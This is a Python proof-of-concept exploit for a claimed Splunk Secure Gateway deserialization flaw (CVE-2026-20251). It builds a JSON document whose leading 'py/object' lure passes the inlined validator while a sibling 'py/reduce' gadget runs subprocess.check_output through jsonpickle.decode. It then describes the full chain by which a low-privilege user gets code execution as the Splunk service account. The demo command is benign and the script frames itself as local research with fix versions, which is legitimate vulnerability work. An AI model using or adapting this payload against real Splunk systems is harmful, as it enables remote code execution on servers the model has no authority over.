#!/usr/bin/env python3
"""
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization
Proof-of-concept: validator bypass demonstration

Purpose  : Confirms, on a LOCAL authorised research instance, that
           check_alert_data_valid_json() can be bypassed and that
           jsonpickle will reconstruct an arbitrary Python object from
           the resulting document.  The payload is deliberately benign
           (subprocess.check_output(['uname', '-a'])) — it produces
           read-only system info and changes nothing.

NOT a weaponised exploit.  Do not run against production or
systems you do not own.

Tested on: Splunk Enterprise 10.0.6 / SSG 3.9.19 / macOS (Darwin)
"""

import sys
import json
import argparse

parser = argparse.ArgumentParser(description="CVE-2026-20251 PoC — local research only",
                                 add_help=False)
parser.add_argument("-h", dest="host", required=True, metavar="HOST",
                    help="Target Splunk host IP or hostname")
args = parser.parse_args()

# jsonpickle is loaded from SSG's bundled copy so we use the exact same
# library version that the vulnerable code path uses.
SSG_LIB = "/Applications/Splunk/etc/apps/splunk_secure_gateway/lib"
if SSG_LIB not in sys.path:
    sys.path.insert(0, SSG_LIB)

import jsonpickle

# ---------------------------------------------------------------------------
# Verbatim copy of check_alert_data_valid_json from SSG 3.9.19:
#   bin/spacebridgeapp/rest/devices/alert_helper.py  lines 509-535
#
# Inlined because the full SSG import chain requires the Splunk SDK
# (module 'splunk'), which is not on the standalone Python path.
# Inlining is more accurate for the PoC anyway — we are testing the
# exact shipped logic, character for character.
# ---------------------------------------------------------------------------
def check_alert_data_valid_json(data) -> bool:

    def should_check_valid_json(process_item):
        return isinstance(process_item, dict) and any(k.startswith('py') for k in process_item.keys())

    for key, value in data.items():
        if key.startswith("py"):
            if key == "py/id":
                # Accept 'py/id' as the reference of an object and its value should always be an integer.
                return value.isinstance(int)
            elif key == "py/object":
                # Check if 'py/object' value starts with 'spacebridgeapp'.
                return value.startswith("spacebridgeapp")
            else:
                return False
        elif isinstance(value, list):
            # Recursively check each item in the list can be possibly transformed to object
            for item in value:
                if should_check_valid_json(item):
                    if not check_alert_data_valid_json(item):
                        return False
        elif should_check_valid_json(value):
            # Recursively check if value can be possibly transformed to object
            if not check_alert_data_valid_json(value):
                return False

    return True


print("=" * 70)
print("CVE-2026-20251  PoC  —  local research instance only")
print("=" * 70)
print(f"[*] Target host : {args.host}")
print(f"[*] jsonpickle  : {jsonpickle.__version__}")
print(f"[*] Validator   : check_alert_data_valid_json (verbatim from SSG 3.9.19)")
print()

# ---------------------------------------------------------------------------
# Two-stage proof
#
# The full attack chain requires two conditions:
#   A) The validator must pass the document   (check_alert_data_valid_json)
#   B) jsonpickle must execute the gadget     (_restore_reduce → f(*args))
#
# In real Splunk, spacebridgeapp is importable so both fire from a single
# document.  In this standalone PoC, we prove each condition separately
# and then explain how they compose.
# ---------------------------------------------------------------------------

# ── Sub-proof A: validator bypass ─────────────────────────────────────────
#
# The bypass document:
#   {
#     "py/object": "spacebridgeapp.data.alert_data.Alert",   ← LURE
#     "notification": {                                       ← sibling, NEVER seen
#       "py/reduce": [ {"py/function": "subprocess.check_output"},
#                      {"py/tuple": [["uname", "-a"]]} ]
#     }
#   }
#
# check_alert_data_valid_json() iterates top-level keys.
# The first key it encounters is "py/object".  Value starts with
# "spacebridgeapp" → returns True immediately.  The "notification" key
# (carrying the py/reduce gadget) is never examined.

BYPASS_PAYLOAD = {
    "py/object": "spacebridgeapp.data.alert_data.Alert",   # lure — real class name
    "notification": {                                       # sibling — never validated
        "py/reduce": [
            {"py/function": "subprocess.check_output"},
            {"py/tuple": [["uname", "-a"]]}
        ]
    }
}

print("─" * 70)
print("SUB-PROOF A  —  Validator bypass")
print("─" * 70)
print("[*] Bypass document (what the attacker writes to mobile_alerts KV Store):")
print(json.dumps(BYPASS_PAYLOAD, indent=2))
print()
print("[*] Running through check_alert_data_valid_json() ...")
is_valid = check_alert_data_valid_json(BYPASS_PAYLOAD)
print(f"    Validator returned : {is_valid}")

if not is_valid:
    print("[!] Validator BLOCKED the payload — bypass failed.")
    sys.exit(1)

print()
print("    [BYPASS CONFIRMED]")
print("    Saw 'py/object': 'spacebridgeapp...' as the FIRST key → returned True.")
print("    The 'notification' sibling key carrying the py/reduce gadget")
print("    was never inspected.")
print()

# ── Sub-proof B: py/reduce gadget execution ───────────────────────────────
#
# In the real Splunk context, spacebridgeapp IS importable.  jsonpickle
# instantiates the lure class (Alert), then calls
# _restore_object_instance_variables() which iterates every attribute in
# the stored document and calls _restore() on each value.  When it hits
# the "notification" value ({"py/reduce": [...]}), _restore_tags()
# routes to _restore_reduce(), which executes:
#
#     stage1 = f(*args)       ← unpickler.py ~line 526
#
# Here we prove the same _restore_reduce path fires by stripping the lure
# wrapper and feeding the raw py/reduce document directly to
# jsonpickle.decode().  The code path inside jsonpickle is identical.
# safe=True is set exactly as in the real SSG sink.

GADGET_PAYLOAD = {
    "py/reduce": [
        {"py/function": "subprocess.check_output"},
        {"py/tuple": [["uname", "-a"]]}
    ]
}

print("─" * 70)
print("SUB-PROOF B  —  py/reduce gadget execution (benign: uname -a)")
print("─" * 70)
print("[*] Gadget document (the nested value jsonpickle sees after bypass):")
print(json.dumps(GADGET_PAYLOAD, indent=2))
print()
print("[*] Calling jsonpickle.decode(..., safe=True) — same call as SSG sink:")
print("    alerts_request_processor.py:622  →  jsonpickle.decode(json.dumps(alert_json[0]), safe=True)")
print()

try:
    result = jsonpickle.decode(json.dumps(GADGET_PAYLOAD), safe=True)
    if isinstance(result, bytes):
        decoded = result.decode().strip()
        print(f"    [EXEC] subprocess.check_output output: {decoded}")
        print()
        if any(kw in decoded for kw in ("Darwin", "Linux", "MINGW", "x86_64", "arm")):
            print("    [GADGET CONFIRMED]")
            print("    py/reduce fired through jsonpickle.decode(..., safe=True).")
            print("    safe=True did NOT block it — the flag only gates py/repr eval(),")
            print("    not py/reduce, py/object, py/type, or py/function.")
        else:
            print(f"    Result (unexpected format): {decoded}")
    else:
        print(f"    Unexpected result type: {type(result)}  value: {repr(result)}")
except Exception as e:
    print(f"    [!] Exception: {e}")

print()
print("=" * 70)
print("FULL CHAIN — how A and B compose in real Splunk")
print("=" * 70)
print("""
 Step 0  Low-privilege attacker writes BYPASS_PAYLOAD to KV Store collection
         'mobile_alerts' via the Splunk REST API (no admin role needed).

 Step 1  SSG processes an alert fetch request for that alert_id.
         alerts_request_processor.py:606-622 reads the document back from
         KV Store and calls check_alert_data_valid_json(alert_json[0]).

   → Sub-proof A confirmed: validator sees py/object = 'spacebridgeapp...'
     as the FIRST key, returns True, never reads the 'notification' sibling.

 Step 2  The validated document is passed to jsonpickle.decode(..., safe=True).
         jsonpickle's _restore_object() loadclass()es Alert (importable in
         Splunk), instantiates it, then calls _restore_object_instance_variables()
         which iterates every stored attribute and calls _restore() on each.
         When it hits 'notification': {py/reduce: [...]}, _restore_tags()
         routes to _restore_reduce() → stage1 = f(*args) fires.

   → Sub-proof B confirmed: py/reduce executes subprocess.check_output
     through jsonpickle.decode(..., safe=True).  safe=True is irrelevant
     to this code path.

 Outcome : Arbitrary code execution as the Splunk service account.
           Requires only a low-privilege Splunk login.
           No admin role, no user interaction, no additional conditions.

 Fix     : Upgrade SSG → 3.9.20 / 3.10.6 / 3.8.67
           Upgrade Splunk Enterprise → 10.0.7 / 10.2.4 / 10.4.0+
""")